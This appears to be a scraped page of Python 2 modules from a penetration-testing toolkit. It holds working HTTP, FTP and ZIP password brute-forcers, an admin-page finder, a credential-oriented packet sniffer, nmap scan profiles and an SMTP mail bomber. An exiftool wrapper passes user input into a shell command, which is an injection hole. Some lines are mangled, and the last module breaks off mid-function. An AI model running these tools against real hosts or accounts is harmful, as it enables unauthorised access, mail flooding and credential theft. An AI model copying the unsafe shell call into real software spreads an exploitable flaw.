Ejemplo n.º 1
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					w = whois.whois(initialize.DEFAULT_VARIABLE[0][0])
					if w:
						wd = w.__dict__
						print colors[10]
						for k, v in wd.items():
							print('%20s\t"%s"' % (k, v))
						print colors[0]
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 2
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					red=socket.socket(socket.AF_INET, socket.SOCK_STREAM)      
					red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) 
					Message.loading_file()
					try:
						with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords:
							for password in passwords:
								password=password.replace("\n","")
								red.send("GET                 "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n")							
								red.send("HOST:               "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n")							
								red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n")  
								last=red.recv(1000)	
								if last.find("401")<=0:
									getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password)
									Message.Success(initialize.DEFAULT_VARIABLE[3][0],password)
									red.close
									main(True)
								else:
									print " "+Alr+" Checking (username="******")(password="******")"
									red.close
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0])

			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		elif getFunction.KatanaCheckActionisBack(actions): return
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	main(True)
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                ftp = FTP(initialize.DEFAULT_VARIABLE[0][0])
                if True:
                    try:
                        Message.loading_file()
                        with open(initialize.DEFAULT_VARIABLE[3][0],
                                  'r') as passwords:
                            for password in passwords:
                                password = password.replace("\n", "")
                                try:
                                    ftp.login(
                                        initialize.DEFAULT_VARIABLE[2][0],
                                        password)
                                    if True:
                                        getFunction.save(
                                            "BruteForceFTP",
                                            initialize.DEFAULT_VARIABLE[0][0],
                                            initialize.DEFAULT_VARIABLE[1][0],
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        Message.Success(
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        break
                                except:
                                    print " " + Alr + " Checking (" + initialize.DEFAULT_VARIABLE[
                                        2][0] + "=" + password + ")"
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[3][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 4
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                Message.loading_file()
                Arch = open(initialize.DEFAULT_VARIABLE[1][0], "r")
                if True:
                    leeArchivo = Arch.readlines()
                    try:
                        ZIParch = zipfile.ZipFile(
                            initialize.DEFAULT_VARIABLE[0][0])
                        if True:
                            for palabra in leeArchivo:
                                palabraLlegada = palabra.split("\n")
                                try:
                                    ZIParch.extractall(
                                        pwd=str(palabraLlegada[0]))
                                    if True:
                                        getFunction.savetwo(
                                            "BruteForceZIP",
                                            initialize.DEFAULT_VARIABLE[0][0],
                                            palabraLlegada[0])
                                        print "\n-" + Suf + " file Cracked with =", str(
                                            palabraLlegada[0]) + "\n"
                                        break
                                except:
                                    print " " + Alr + " Checking with ", str(
                                        palabraLlegada[0])
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[0][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                Message.loading_file()
                with open(initialize.DEFAULT_VARIABLE[0][0],
                          'r') as comprossed:
                    if True:
                        print "\n " + Hlp + " Forensic Imagen Client help"
                        print " --------------------------------------------"
                        print " |extract_all | extract all MD  | ...       |"
                        print " |comment     | comment whatever| comment :)|"
                        print " --------------------------------------------\n"
                        cmd = "nop"
                        parameter = "ROO"
                        while (cmd != "exit"):
                            cmd = raw_input(
                                Message.Client_prompt('forence{IMAGEN}'))
                            if (cmd == "extract_all"):
                                subprocess.call(
                                    "perl files/exiftool/exiftool " +
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    shell=True)
                            elif (cmd[:7] == "comment"):
                                subprocess.call(
                                    "perl files/exiftool/exiftool -comment=" +
                                    cmd[8:] + " " +
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    shell=True)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=initialize.DEFAULT_VARIABLE[0][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 6
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSaveValue(actions)  :getFunction.SaveValue(actions,IPs)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				if getFunction.isConect():
					Message.space()
					commands.getoutput(NMAP_PATH+' -sn '+str(initialize.DEFAULT_VARIABLE[0][0])+' -oX tmp/ips.xml > null')
					GateWay=getFunction.get_gateway()
					tree = ET.parse('tmp/ips.xml')
					root = tree.getroot()
					IPf=0
					counter=0
					IP=""
					for host in root.findall('host'):
						for hosted in host.findall('address'):
							if hosted.get('addrtype') == "ipv4":
								IPf=hosted.get('addr')
							else:
								if GateWay == IPf :
									IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
								IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
					print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR         "+colors[0]
					for HOST in IPs:
						counter=counter+1				
						print " ["+str(counter)+"]"+HOST
					Message.space()
					commands.getoutput('rm tmp/ips.xml > null')
				else:
					Message.Noconnect()
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 7
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				con=poplib.POP3_SSL(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0])
				con.user(initialize.DEFAULT_VARIABLE[2][0])
				con.pass_(initialize.DEFAULT_VARIABLE[3][0])
				cmd="nop"
				print "\n "+Hlp+" POP3 Client help"
				print " -----------------------------------------"
				print " |"+colors[6]+"Command"+colors[0]+"|"+colors[6]+"Description "+colors[0]+" |"+colors[6]+"Examples"+colors[0]+"         |"
				print " -----------------------------------------"
				print " |list	 | list mails  | list            |" 
				print " |read	 | show mail   | retr 2          |"
				print " |dele	 | remove mail | dele 2          |"
				print " -----------------------------------------\n"
				while(cmd!="exit"):
					cmd = raw_input(Message.Client_prompt('pop3'))
					if cmd == "list":
						numMessages = len(con.list()[1])
						for i in range(numMessages):print " E-mail "+str(i)
					if cmd[0:4] == "read":
						for j in con.retr(int(cmd[5:])+1)[1]:
							print j
					if cmd[0:4] == "dele":
						try:
						    con.dele(int(cmd[5:])+1)[1]
						    print " "+Alr+" email marked for delete ('quit' for exit and delete all email marked)"
						except Exception,e:print(" "+Bad+" Error", e)
					if cmd == "quit":
						con.quit()
						break

			except poplib.error_proto as Error:print " "+Bad+" "+Error.message
			except:Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
Ejemplo n.º 8
0
def main(run):
    try:
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionisBack(actions): return
        if True:
            Message.run()
            # CODE MODULE    ############################################################################################
            cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE)
            try:
                starting = cmd.stdout.read()
                cmd.stdout.close()
            except:
                error = cmd.stderr.read()
                print error
                cmd.stdout.close()
                print "[+] No network found"
            pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))"
            print " " + Alr + " Monitoring ARP's tables"
            while (True):
                cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE)
                try:
                    look = cmd.stdout.read()
                    cmd.stdout.close()
                except:
                    error = cmd.stderr.read()
                    cmd.stdout.close()
                    print(" " + Bad + " No network found")
                if (str(starting)) == (str(look)):
                    print " " + Alr + " all right, the ARP/s tables have not changed... ", " at: ", datetime.now(
                    ).strftime('%H:%M:%S')
                else:
                    print " " + War + " ARP Table Changed ", " at: ", datetime.now(
                    ).strftime('%H:%M:%S')
                    print " " + War + " Data: ---------------------------------------------"
                    print " " + look
                    print "  ----------------------------------------------------------"
                time.sleep(14)
# END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    main(True)
Ejemplo n.º 9
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Messages.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):
			getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
			Messages.helpAUX()
			print " Current Interfaces : ", getFunction.get_interfaces()
			Messages.space()
			print " "+colors[7]+"Type         Description"+colors[0]
			print " [ALL]        Whatever"	 
			print " [DNS]        Domains Name Service"	
			print " [FTP]        File Transfer Protocol"
			print " [POP]        Post Office Protocol"
			Messages.space()
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Messages.run()
			# CODE MODULE    ############################################################################################
			if  initialize.DEFAULT_VARIABLE[1][0] == "DNS" : FILTER = "udp or port 53"
			if initialize.DEFAULT_VARIABLE[1][0]  == "FTP" : FILTER = "port 21"
			if initialize.DEFAULT_VARIABLE[1][0]  == "ALL" : FILTER = "udp or tcp"
			if initialize.DEFAULT_VARIABLE[1][0]  == "POP" : FILTER = "port 110"
			if getFunction.checkDevice(initialize.DEFAULT_VARIABLE[0][0]):
				print " "+colors[10]+" #\t"+colors[4]+"PROTOCOL\tSOURCE\t\tDESTINE\t\tDATA          "+colors[0]
				while True:
    					sniff(filter=FILTER, prn=callback, store=0, iface=initialize.DEFAULT_VARIABLE[0][0])
			else:
				Messages.NoDeviceFound(initialize.DEFAULT_VARIABLE[0][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 10
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    subprocess.call(
                        'cd files/joomlavs/;ruby joomlavs.rb -a -u ' +
                        initialize.DEFAULT_VARIABLE[0][0] + ":" +
                        initialize.DEFAULT_VARIABLE[1][0],
                        shell=True)
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 11
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions):
			getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
			Message.helpAUX()
			print " "+colors[7]+"Type         Description                      Speed"+colors[0]
			print " [profile-0] Intense scan                       slow"	
			print " [profile-1] Intense scan plus UDP              slow"
			print " [profile-2] Intense scan, all TCP ports        very slow"	
			print " [profile-3] Intense scan, no ping              slow"
			print " [profile-4] Ping scan                          fast"	
			print " [profile-5] Quick scan                         fast"
			print " [profile-6] Quick scan plus                    fast"                        	
			print " [profile-7] Quick traceroute                   fast"
			print " [profile-8] Regular scan                       slow"	
			print " [profile-9] Slow comprehensive scan            fast"
			Message.space()
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				if getFunction.isConect():
					parameter="-T4 -A -v"
					if initialize.DEFAULT_VARIABLE[1][0]  =="profile-0":
						parameter="-T4 -A -v"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-1":
						parameter="-sS -sU -T4 -A -v"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-2":
						parameter="-p 1-65535 -T4 -A -v"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-3":
						parameter="-T4 -A -v -Pn"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-4":
						parameter="-sn"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-5":
						parameter="-T4 -F"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-6":
						parameter="-sV -T4 -O -F --version-light"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-7":
						parameter="-sn --traceroute"
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-8":
						parameter=""
					elif initialize.DEFAULT_VARIABLE[1][0]=="profile-9":
						parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'"
					else:
						print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help."
						initialize.DEFAULT_VARIABLE[1][0]="profile-0"
						main(True)
					print " "+Alr+" Scanning Target: "+initialize.DEFAULT_VARIABLE[0][0]+" wait it may take a few minutes."
					OSMATCHs=[]
					SERVICEs=[]
					INFORMEs=[]
					MAC="Unknow"
					VENDOR="Unknow"
					Message.space()
					commands.getoutput(NMAP_PATH+" "+parameter+" "+initialize.DEFAULT_VARIABLE[0][0]+" -oX tmp/portScanner-tmp.xml > null")
					tree = ET.parse('tmp/portScanner-tmp.xml')
					root = tree.getroot()
					for host in root.findall('host'):
						for address in host.findall('address'):
							p=address.get('addr')
							if not address.get('vendor'):
								VENDOR=VENDOR 
							else:
								VENDOR=address.get('vendor')
							if p.find(":") <= 0 :
								IP=address.get('addr')
							else: 
								MAC=address.get('addr')
						for ports in host.findall('ports'):
							for port in ports.findall('port'):
								PROTOCOL=port.get('protocol')
								PORT=port.get('portid')
								for service in port.findall('service'):
									if not service.get('product'):
										product="{NULL}"
										version="{NULL}"
										info="{NULL}"	
									else:
										product=service.get('product')
										version=service.get('version')
										info=service.get('extrainfo')
									product=str("{NULL}" if product is None else product)
									version=str("{NULL}" if version is None else version)
									info=str("{NULL}" if info is None else info)
									SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0])

						for hostscript in host.findall('hostscript'):
							for script in hostscript.findall('script'):
								if script.get('id') == 'smb-os-discovery':
									INFORMEs.append(script.get('output'))

						for os in host.findall('os'):
							for osmatch in os.findall('osmatch'):
								OSMATCHs.append(osmatch.get('name'))
					print " Ip address: "+initialize.DEFAULT_VARIABLE[0][0]
					print " Mac       : "+MAC
					print " Vendor    : "+VENDOR
					print " OS Matchs : "
					for os in OSMATCHs:
						print "             "+os
					print " Services  : " 				
					for services in SERVICEs:
						print "             "+str(services) 
					print " Report    :"
					for informer in INFORMEs:
						informer=str("{NULL}" if informer is "" else informer)
						print str(informer) 
					commands.getoutput('rm tmp/portScanner-tmp.xml > null')
					Message.space()
				else:
					Message.Noconnect()
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 12
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                             initialize.DEFAULT_VARIABLE[1][0])
            if True:
                try:
                    server = smtplib.SMTP(initialize.DEFAULT_VARIABLE[0][0],
                                          initialize.DEFAULT_VARIABLE[1][0])
                    if initialize.TLS: server.starttls()
                    server.login(initialize.DEFAULT_VARIABLE[2][0],
                                 initialize.DEFAULT_VARIABLE[3][0])
                    Message.loading_file()
                    with open(initialize.DEFAULT_VARIABLE[6][0], 'r') as body:
                        FILE_HTML = ""
                        for read_line in body:
                            FILE_HTML += read_line
                    message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % (
                        initialize.DEFAULT_VARIABLE[2][0],
                        initialize.DEFAULT_VARIABLE[4][0],
                        initialize.DEFAULT_VARIABLE[5][0], FILE_HTML)
                    try:
                        many = 0
                        while (many < int(initialize.DEFAULT_VARIABLE[7][0])):
                            many += 1
                            server.sendmail(initialize.DEFAULT_VARIABLE[4][0],
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            message)
                            print " " + Suf + " #" + str(
                                many) + " E-Mail was sent."
                    except:
                        print " " + Bad + " E-Mail not was sent."
                    print " " + Suf + " Attack Completed."
                    server.quit()
                except smtplib.SMTPAuthenticationError:
                    print ' ' + Bad + ' Authentication Required or Authentication went wrong.\n'
                except:
                    error = str(sys.exc_info()[1])
                    if error.find("SMTP AUTH extension") >= 0:
                        print " " + Bad + " TLS error, Starting again with TLS."
                        initialize.TLS = True
                        main(False)
                    Errors.Errors(event=sys.exc_info(),
                                  info=initialize.DEFAULT_VARIABLE[6][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 13
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        Message.loading_file()
                        with open(initialize.DEFAULT_VARIABLE[2][0],
                                  'r') as dirt:
                            results = ""
                            resultn = ""
                            for patch in dirt:
                                patch = patch.replace("\n", "")
                                patch = "/" + patch
                                connection = httplib.HTTPConnection(
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    initialize.DEFAULT_VARIABLE[1][0])
                                connection.request("GET", patch)
                                response = connection.getresponse()
                                if response.status == 200 or response.status == 301:
                                    print " " + Suf + " Response " + patch
                                    results = "-" + Suf + " " + patch + "\n" + results
                                    resultn = patch + "," + resultn
                                else:
                                    print " " + Alr + " Checking `" + colors[
                                        0] + patch + "` Response:" + str(
                                            response.status)
                        if results != "":
                            print "\n" + results
                            getFunction.savefive(
                                "Admin Finder",
                                initialize.DEFAULT_VARIABLE[0][0],
                                initialize.DEFAULT_VARIABLE[1][0], results)
                        else:
                            print "\n " + Nrs + " Not Results :(.\n"

                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[2][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 14
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
            Message.helpAUX()
            print " " + colors[7] + "Type        Description" + colors[0]
            print " chars_min = [a,b,c,...,z]"
            print " chars_may = [A,B,C,...,Z]"
            print " chars_num = [0,1,2,...,9]"
            print " chars_mix = [a,b,...,0,1]"
            Message.space()
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            if initialize.DEFAULT_VARIABLE[2][
                    0] != "chars_min" and initialize.DEFAULT_VARIABLE[2][
                        0] != "chars_may" and initialize.DEFAULT_VARIABLE[2][
                            0] != "chars_num" and initialize.DEFAULT_VARIABLE[
                                2][0] != "chars_mix":
                print " " + Alr + " Error to set chars, use chars_min, chars_mix, chars_may or chars_num"
                initialize.DEFAULT_VARIABLE[2][0] = "chars_num"
                main(True)
            if True:
                Maxima = 1
                long_max = long(initialize.DEFAULT_VARIABLE[1][0])
                long_min = long(initialize.DEFAULT_VARIABLE[1][0])
                char_null = ['']
                chars_min = [
                    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
                    'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
                    'y', 'z'
                ]
                chars_may = [
                    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
                    'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                    'Y', 'Z'
                ]
                chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
                chars_spe = ['.', '-', '_', '/', '@']
                permitidos = []
                permitidos += char_null
                if initialize.DEFAULT_VARIABLE[2][0] == "chars_num":
                    permitidos += chars_num
                if initialize.DEFAULT_VARIABLE[2][0] == "chars_may":
                    permitidos += chars_may
                if initialize.DEFAULT_VARIABLE[2][0] == "chars_min":
                    permitidos += chars_min
                if initialize.DEFAULT_VARIABLE[2][0] == "chars_mix":
                    permitidos += chars_min
                    permitidos += chars_num
                total_chars = len(permitidos)
                char_n_max = total_chars - 1
                cadena = []
                for chars in range(0, long_max):
                    cadena += [0]
                for i in range(1, long_min + 1):
                    cadena[-(i)] = 1
                cadena_max = []
                for chars in range(0, long_max):
                    cadena_max += [total_chars - 1]

                def toClave(cadena1):
                    password = ""
                    for indice in cadena1:
                        password += permitidos[indice]
                    return password

                def isMax(cadena1):
                    if toClave(cadena1) != toClave(cadena_max):
                        return False
                    return True

                def aumentarCadena(cadena1):
                    unidad = 1
                    acarreo = 0
                    for digito in range(1, long_max + 1):
